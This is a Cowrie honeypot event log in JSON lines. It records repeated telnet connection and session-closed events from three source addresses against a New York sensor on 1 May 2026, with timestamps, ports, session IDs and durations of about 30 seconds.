{"eventid":"cowrie.session.closed","duration":30.520843029022217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:27.303495Z","src_ip":"192.119.108.58","session":"0fab11152074","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43162,"dst_ip":"10.17.0.5","dst_port":23,"session":"e79c8ffffd63","protocol":"telnet","message":"New connection: 208.115.200.90:43162 (10.17.0.5:23) [session: e79c8ffffd63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:27.522894Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47250,"dst_ip":"159.203.135.109","dst_port":23,"session":"352b655cac76","protocol":"telnet","message":"New connection: 192.119.108.58:47250 (159.203.135.109:23) [session: 352b655cac76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:27.562334Z"}
{"eventid":"cowrie.session.closed","duration":30.4469895362854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:28.230762Z","src_ip":"192.119.108.58","session":"1cb346401b6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43172,"dst_ip":"10.17.0.5","dst_port":23,"session":"9058156a4655","protocol":"telnet","message":"New connection: 208.115.200.90:43172 (10.17.0.5:23) [session: 9058156a4655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:28.306963Z"}
{"eventid":"cowrie.session.closed","duration":31.057555675506592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:28.317978Z","src_ip":"208.115.200.90","session":"d5f02c61b76d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47824,"dst_ip":"159.203.135.109","dst_port":23,"session":"2212be84c4b6","protocol":"telnet","message":"New connection: 192.119.108.58:47824 (159.203.135.109:23) [session: 2212be84c4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:28.351427Z"}
{"eventid":"cowrie.session.closed","duration":30.495572090148926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:28.400474Z","src_ip":"208.115.200.90","session":"c8119f633944","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.305649280548096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:28.704602Z","src_ip":"162.241.141.97","session":"e60473d06622","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63209319114685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:28.744886Z","src_ip":"162.241.141.97","session":"8ab65eaa2878","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48212,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8ea670e792b","protocol":"telnet","message":"New connection: 192.119.108.58:48212 (159.203.135.109:23) [session: f8ea670e792b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:28.801795Z"}
{"eventid":"cowrie.session.closed","duration":30.751048803329468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:29.089643Z","src_ip":"208.115.200.90","session":"2e4fcdf14525","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":35424,"dst_ip":"159.203.135.109","dst_port":23,"session":"480c0c631e58","protocol":"telnet","message":"New connection: 162.241.141.97:35424 (159.203.135.109:23) [session: 480c0c631e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:29.240589Z"}
{"eventid":"cowrie.session.closed","duration":31.124722480773926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:29.362502Z","src_ip":"208.115.200.90","session":"c45a6a7f3bcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43180,"dst_ip":"10.17.0.5","dst_port":23,"session":"99d6f43bf821","protocol":"telnet","message":"New connection: 208.115.200.90:43180 (10.17.0.5:23) [session: 99d6f43bf821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:29.781985Z"}
{"eventid":"cowrie.session.closed","duration":30.243951082229614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:30.038057Z","src_ip":"208.115.200.90","session":"ab609f6c9856","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.626133680343628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:30.156452Z","src_ip":"192.119.108.58","session":"49f0138e69cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48706,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fac8c4fad2d","protocol":"telnet","message":"New connection: 192.119.108.58:48706 (159.203.135.109:23) [session: 7fac8c4fad2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:30.434544Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49532,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc48852b0af8","protocol":"telnet","message":"New connection: 192.119.108.58:49532 (159.203.135.109:23) [session: bc48852b0af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:30.788619Z"}
{"eventid":"cowrie.session.closed","duration":31.08525061607361,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:31.069330Z","src_ip":"192.119.108.58","session":"64590e25b693","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49782,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b8a9c7f7455","protocol":"telnet","message":"New connection: 192.119.108.58:49782 (159.203.135.109:23) [session: 5b8a9c7f7455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:31.123462Z"}
{"eventid":"cowrie.session.closed","duration":30.813444137573242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:31.186334Z","src_ip":"208.115.200.90","session":"924f18c5eb07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44077205657959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:31.246794Z","src_ip":"192.119.108.58","session":"573ff503b7d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49840,"dst_ip":"159.203.135.109","dst_port":23,"session":"a106f2d80fb9","protocol":"telnet","message":"New connection: 192.119.108.58:49840 (159.203.135.109:23) [session: a106f2d80fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:31.252497Z"}
{"eventid":"cowrie.session.closed","duration":30.930383682250977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:31.257393Z","src_ip":"192.119.108.58","session":"593fe3698bab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49882,"dst_ip":"159.203.135.109","dst_port":23,"session":"c854873f5b69","protocol":"telnet","message":"New connection: 192.119.108.58:49882 (159.203.135.109:23) [session: c854873f5b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:31.353482Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":44002,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5f991e67ad4","protocol":"telnet","message":"New connection: 162.241.141.97:44002 (159.203.135.109:23) [session: e5f991e67ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:31.898444Z"}
{"eventid":"cowrie.session.closed","duration":30.356367349624634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:32.038910Z","src_ip":"192.119.108.58","session":"b03a21989854","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48876404762268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:32.144230Z","src_ip":"192.119.108.58","session":"206da399bd2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.050161123275757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:32.187380Z","src_ip":"192.119.108.58","session":"ca3368de9206","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.117115259170532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:32.197411Z","src_ip":"192.119.108.58","session":"7961133197b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":45568,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd006396b20a","protocol":"telnet","message":"New connection: 162.241.141.97:45568 (159.203.135.109:23) [session: cd006396b20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:32.520440Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43196,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d523f451a5e","protocol":"telnet","message":"New connection: 208.115.200.90:43196 (10.17.0.5:23) [session: 9d523f451a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:32.526659Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":46222,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a63da21063f","protocol":"telnet","message":"New connection: 162.241.141.97:46222 (159.203.135.109:23) [session: 5a63da21063f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:32.729416Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":46340,"dst_ip":"159.203.135.109","dst_port":23,"session":"959e5e04019b","protocol":"telnet","message":"New connection: 162.241.141.97:46340 (159.203.135.109:23) [session: 959e5e04019b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:32.763071Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":46384,"dst_ip":"159.203.135.109","dst_port":23,"session":"15c4d010f6a9","protocol":"telnet","message":"New connection: 162.241.141.97:46384 (159.203.135.109:23) [session: 15c4d010f6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:32.775161Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":46524,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ca7f54a97fd","protocol":"telnet","message":"New connection: 162.241.141.97:46524 (159.203.135.109:23) [session: 6ca7f54a97fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:32.828483Z"}
{"eventid":"cowrie.session.closed","duration":30.78082251548767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:33.019525Z","src_ip":"162.241.141.97","session":"ab27b008eda0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.809345245361328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:33.025989Z","src_ip":"192.119.108.58","session":"1f7f101d3aad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":47212,"dst_ip":"159.203.135.109","dst_port":23,"session":"a847f64284ab","protocol":"telnet","message":"New connection: 162.241.141.97:47212 (159.203.135.109:23) [session: a847f64284ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:33.050293Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":47224,"dst_ip":"159.203.135.109","dst_port":23,"session":"02cfe0c2964a","protocol":"telnet","message":"New connection: 162.241.141.97:47224 (159.203.135.109:23) [session: 02cfe0c2964a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:33.057274Z"}
{"eventid":"cowrie.session.closed","duration":30.274393796920776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:33.063541Z","src_ip":"162.241.141.97","session":"83cc15984627","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.525314807891846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:33.089217Z","src_ip":"162.241.141.97","session":"055d9a8bb684","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067801475524902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:33.153057Z","src_ip":"192.119.108.58","session":"0d97b194465c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91300868988037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:33.173364Z","src_ip":"162.241.141.97","session":"31a5818db904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":47700,"dst_ip":"159.203.135.109","dst_port":23,"session":"a586b0cc468f","protocol":"telnet","message":"New connection: 162.241.141.97:47700 (159.203.135.109:23) [session: a586b0cc468f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:33.228830Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":47802,"dst_ip":"159.203.135.109","dst_port":23,"session":"4686740ca06c","protocol":"telnet","message":"New connection: 162.241.141.97:47802 (159.203.135.109:23) [session: 4686740ca06c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:33.272233Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":48084,"dst_ip":"159.203.135.109","dst_port":23,"session":"49500cb1aacf","protocol":"telnet","message":"New connection: 162.241.141.97:48084 (159.203.135.109:23) [session: 49500cb1aacf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:33.328822Z"}
{"eventid":"cowrie.session.closed","duration":31.498419523239136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:33.594490Z","src_ip":"162.241.141.97","session":"6fa5c575d90e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.209087371826172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:33.669878Z","src_ip":"162.241.141.97","session":"3b3dd3ee2882","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":52098,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4a8a3ca07d4","protocol":"telnet","message":"New connection: 192.119.108.58:52098 (159.203.135.109:23) [session: d4a8a3ca07d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:34.015932Z"}
{"eventid":"cowrie.session.closed","duration":31.393266201019287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:35.008522Z","src_ip":"192.119.108.58","session":"daf6bb013025","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.222845315933228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:35.076252Z","src_ip":"192.119.108.58","session":"4f3e55510047","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.042575359344482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:35.129379Z","src_ip":"192.119.108.58","session":"6130bc2a1a8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.385469675064087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:35.900427Z","src_ip":"192.119.108.58","session":"9bda4214643d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.133630752563477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:36.080927Z","src_ip":"192.119.108.58","session":"ae32faf4daf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.202978134155273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:36.104057Z","src_ip":"192.119.108.58","session":"682b5dbd1815","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.873235940933228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:37.926515Z","src_ip":"208.115.200.90","session":"0a9630819538","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.976143836975098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:38.049529Z","src_ip":"192.119.108.58","session":"9237391a795f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.887932062149048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:38.091486Z","src_ip":"192.119.108.58","session":"eed50f740681","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.243443727493286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:38.113904Z","src_ip":"192.119.108.58","session":"964d1c3f1a04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.498010396957397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:38.192440Z","src_ip":"162.241.141.97","session":"ee26cd3e88de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":56330,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe70f0f6ff0a","protocol":"telnet","message":"New connection: 162.241.141.97:56330 (159.203.135.109:23) [session: fe70f0f6ff0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:38.892904Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":56624,"dst_ip":"159.203.135.109","dst_port":23,"session":"18e070d5a5d0","protocol":"telnet","message":"New connection: 162.241.141.97:56624 (159.203.135.109:23) [session: 18e070d5a5d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:38.988899Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":54198,"dst_ip":"159.203.135.109","dst_port":23,"session":"360f0754bdce","protocol":"telnet","message":"New connection: 192.119.108.58:54198 (159.203.135.109:23) [session: 360f0754bdce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:39.467240Z"}
{"eventid":"cowrie.session.closed","duration":30.872478246688843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:39.572589Z","src_ip":"162.241.141.97","session":"279118863f93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.252930402755737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:40.210577Z","src_ip":"162.241.141.97","session":"ea2258c5f501","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":57322,"dst_ip":"159.203.135.109","dst_port":23,"session":"65e1b089189f","protocol":"telnet","message":"New connection: 192.119.108.58:57322 (159.203.135.109:23) [session: 65e1b089189f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:40.471413Z"}
{"eventid":"cowrie.session.closed","duration":31.425894737243652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:40.887135Z","src_ip":"162.241.141.97","session":"4009e600ef41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76424813270569,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:41.029710Z","src_ip":"162.241.141.97","session":"64096e4dbf4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":57856,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a211390e399","protocol":"telnet","message":"New connection: 192.119.108.58:57856 (159.203.135.109:23) [session: 8a211390e399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:41.088426Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":58766,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc3164e8be83","protocol":"telnet","message":"New connection: 192.119.108.58:58766 (159.203.135.109:23) [session: fc3164e8be83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:42.200934Z"}
{"eventid":"cowrie.session.closed","duration":31.249289751052856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:42.344630Z","src_ip":"162.241.141.97","session":"d3ffccced9db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.288594484329224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:43.411085Z","src_ip":"192.119.108.58","session":"34f441f2aa20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.5816650390625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:43.576348Z","src_ip":"192.119.108.58","session":"a2d3492bfe53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":35040,"dst_ip":"159.203.135.109","dst_port":23,"session":"a371b55d79df","protocol":"telnet","message":"New connection: 162.241.141.97:35040 (159.203.135.109:23) [session: a371b55d79df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:44.074533Z"}
{"eventid":"cowrie.session.closed","duration":30.602380990982056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:44.165138Z","src_ip":"192.119.108.58","session":"5540a46e0c20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.311254739761353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:44.176207Z","src_ip":"162.241.141.97","session":"5855c16e37fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":35980,"dst_ip":"159.203.135.109","dst_port":23,"session":"28286e05671d","protocol":"telnet","message":"New connection: 162.241.141.97:35980 (159.203.135.109:23) [session: 28286e05671d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:44.476359Z"}
{"eventid":"cowrie.session.closed","duration":30.678592920303345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:44.613464Z","src_ip":"162.241.141.97","session":"440cdb06fffb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.033217906951904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:45.001568Z","src_ip":"162.241.141.97","session":"fc0240158755","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.985836029052734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:45.008221Z","src_ip":"162.241.141.97","session":"5aceec6c79c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62700915336609,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:45.011764Z","src_ip":"162.241.141.97","session":"50cdb16c5747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":58628,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6759814df59","protocol":"telnet","message":"New connection: 192.119.108.58:58628 (159.203.135.109:23) [session: e6759814df59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:45.017248Z"}
